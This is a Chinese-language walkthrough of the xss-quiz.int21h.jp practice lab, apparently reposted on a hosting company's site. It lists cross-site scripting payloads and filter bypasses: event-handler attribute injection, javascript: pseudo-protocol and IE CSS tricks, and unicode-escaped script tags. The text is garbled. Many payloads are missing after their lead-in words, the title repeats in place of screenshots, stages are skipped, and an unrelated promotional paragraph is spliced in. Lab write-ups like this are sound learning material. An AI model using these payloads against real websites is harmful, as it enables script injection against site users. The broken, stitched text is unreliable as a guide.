XSS常见payload指的是什么

这篇文章将为大家详细讲解有关XSS常见payload指的是什么,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

目前创新互联已为1000+的企业提供了网站建设、域名、雅安服务器托管网站托管运营、企业网站设计、信州网站维护等服务,公司将坚持客户导向、应用为本的策略,正道将秉承"和谐、参与、激情"的文化,与客户和合作伙伴齐心协力一起成长,共同发展。

环境:http://xss-quiz.int21h.jp

一、Stage #1 无过滤xss漏洞

1、随便输入字符:123

XSS常见payload指的是什么

2、输入payload:

XSS常见payload指的是什么

二、Stage #2 属性中的xss漏洞

1、在窗口中输入payload:

,查看审查元素,payload被写在一个标签中

XSS常见payload指的是什么

或者 "onmouseover=alert(document.domain)>

XSS常见payload指的是什么

三、Stage #3 选择列表框中的xss漏洞

1、点击search,抓包

XSS常见payload指的是什么

2、修改post数据,添加payload:

,发送到repeater,send

XSS常见payload指的是什么

XSS常见payload指的是什么

四、隐藏提交参数的xss漏洞

">%0a

1、随便输入字符,search,抓包

XSS常见payload指的是什么

2、在隐藏参数后面添加payload,forward,查看审查元素

XSS常见payload指的是什么

3、闭合参数,重新构造payload:">

,发包,成功弹出

XSS常见payload指的是什么

2、重新构造payload:"onmouseover="alert(document.domain)

或者">

3、成功弹出

XSS常见payload指的是什么

六、空格分隔属性中的xss漏洞

1、随便输入字符111 222 333

XSS常见payload指的是什么

3、构造payload:111 onclick=alert(document.domain),成功弹出

XSS常见payload指的是什么

八、绕过过滤xss漏洞

1、输入payload:">

,审查元素,domain被过滤了

XSS常见payload指的是什么XSS常见payload指的是什么

2、闭合payload,并修改100">

XSS常见payload指的是什么

on事件,被替换成onxxx

3、使用伪协议加“ ”绕过

100"> xss

十、利用IE特性绕过过滤",``可以闭合双引号, 

``onmousemove=alert(document.domain)

仅针对IE浏览器

十一、利用css特性绕过过滤",IE低版本

background-color:#f00;background:url(javascript:alert(document.domain););

XSS常见payload指的是什么

十三、十六进制绕过过滤

1、输入

XSS常见payload指的是什么XSS常见payload指的是什么

2、重新利用unicode构造payload:

\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

XSS常见payload指的是什么

关于XSS常见payload指的是什么就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。


本文标题:XSS常见payload指的是什么
当前链接:http://scyanting.com/article/jjidsi.html